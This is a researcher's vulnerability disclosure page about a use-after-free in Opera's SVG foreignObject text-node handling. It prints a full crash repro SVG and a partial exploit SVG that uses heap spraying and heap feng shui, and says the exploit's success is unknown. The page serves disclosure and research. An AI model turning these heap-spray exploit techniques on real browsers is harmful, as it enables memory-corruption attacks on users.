This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected.

Opera foreign­Object text­Node::remove­Child use-after-free

(The fix and CVE number for this issue are unknown)

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Opera. This vulnerability was found a very long time ago, back when I did not keep organized records of my analysis, so unfortunately, I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Repro.svg <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> <![CDATA[ window.onload=function(){ var ao­Foreign­Objects = document.get­Elements­By­Tag­Name("foreign­Object"); // Free for (var i = 0; i < ao­Foreign­Objects.length; i++) { var o­Foreign­Object = ao­Foreign­Objects[i]; o­Foreign­Object.remove­Child(o­Foreign­Object.first­Child); opera.collect(); } set­Timeout(function(){ location.reload(); }, 100); } ]]> </script> <foreign­Object width="1px" height="1px">text</foreign­Object> </svg>

Description

As I mentioned, I did not keep detailed records of my analysis, so there is not much I can say about this vulnerability, other than that I did attempt to write an exploit. However, I do not know how successful this exploit was. I did not include it in my report to i­Defense, so I am assuming it was not very successful.

Sploit.svg <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> <![CDATA[ var i­Heap­Spray­Granularity = 0x00100000, i­Heap­Spray­Start­Address = 0x05000000, i­Heap­Spray­Address = 0x12345678, i­Heap­Spray­Header­Size = 0x44, i­Heap­Block­Size = 0x100, i­Text­Node­Size = 0x40; var o­Heap­Buffer = new Buffer(i­Heap­Block­Size, 0x41); o­Heap­Buffer.set­Dword(0x14, i­Heap­Spray­Address); o­Heap­Buffer.set­Dword(0x78, 0x­DEADBEEF - 0x188); var s­Heap­Block = o­Heap­Buffer.to­String(); if (s­Heap­Block.length != 0x80) throw '"' + s­Heap­Block + '".length = ' + s­Heap­Block.length.to­String(16); console.log('s­Heap­Block = "' + s­Heap­Block + '"'); console.log('s­Heap­Block.length = ' + s­Heap­Block.length.to­String(16)); var s­Heap­Spray­Block = s­Heap­Block.substr(i­Heap­Spray­Header­Size) + s­Heap­Block.substr(0, i­Heap­Spray­Header­Size); var i­Heap­Spray­Block­Copies = i­Heap­Spray­Granularity / i­Heap­Block­Size; var as­Heap = []; console.log('s­Heap­Block * ' + i­Heap­Spray­Block­Copies.to­String(16) + ' = ' + i­Heap­Spray­Granularity.to­String(16)); do { as­Heap.push(new Array(i­Heap­Spray­Block­Copies).join(s­Heap­Spray­Block)); } while (i­Heap­Spray­Start­Address + as­Heap.length * i­Heap­Spray­Granularity < i­Heap­Spray­Address); window.onload=function(){ var ao­Foreign­Objects = document.get­Elements­By­Tag­Name("foreign­Object"); var ao­Heap­Feng­Shui = []; // Fill all gaps for(var i­Count = 1; i­Count < 0x400; i­Count++) { for (var i­Size = 0x10; i­Size < 0x200; i­Size += 0x10) { ao­Heap­Feng­Shui.push(document.create­Text­Node(s­Heap­Block.substr(0, i­Size / 2 - 1))); } opera.collect(); } // Free for (var i = 0; i < ao­Foreign­Objects.length; i++) { var o­Foreign­Object = ao­Foreign­Objects[i]; var i­Length = o­Foreign­Object.remove­Child(o­Foreign­Object.first­Child).node­Value.length; for(var i­Count = 1; i­Count < 0x200; i­Count++) { ao­Heap­Feng­Shui.push(document.create­Text­Node(s­Heap­Block)); } opera.collect(); } alert('FAIL!'); set­Timeout(function(){ location.reload(); }, 100); } function Buffer(i­Size, i­Default­Value) { this.data = {}; for (var i = 0; i < i­Size; i++) { this.data[i] = i­Default­Value; } this.set­Dword = function Buffer_­dword(i­Index, i­Value) { this.data[i­Index++] = i­Value & 0x­FF; i­Value >>>= 8; this.data[i­Index++] = i­Value & 0x­FF; i­Value >>>= 8; this.data[i­Index++] = i­Value & 0x­FF; i­Value >>>= 8; this.data[i­Index] = i­Value & 0x­FF; } this.set­Word = function Buffer_­word(i­Index, i­Value) { this.data[i­Index++] = i­Value & 0x­FF; i­Value >>>= 8; this.data[i­Index] = i­Value & 0x­FF; } this.set­Byte = function Buffer_­byte(i­Index, i­Value) { this.data[i­Index] = i­Value & 0x­FF; } this.to­String = function Buffer_­to­String() { var s­String = ""; for (var i = 0; i < i­Size; i+=2) { var i­Char­Code = this.data[i] + (this.data[i+1] << 8); s­String += String.from­Char­Code(i­Char­Code); } return s­String; } } ]]> </script> <foreign­Object width="1px" height="1px">0_________AA____1111111111111111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____11111111111111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____111111111111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____1111111111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____11111111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____111111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____1111</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____11</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA____</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA__</foreign­Object> <foreign­Object width="1px" height="1px">0_________AA</foreign­Object> </svg>

Time-line

(I asked ZDI and i­Defense if they were interested in Opera vulnerabilities before submitting them. ZDI responded that they was not, but i­Defense accidentally said they were. After submitting my first vulnerability, i­Defense explained that there had been a mistake on their side and that they were not in fact interested. However, they kindly offered to buy this vulnerability for a token reward, which I accepted).

© Copyright 2016 by Sky­Lined.
Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License.

Last updated on 2016-11-21.
If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.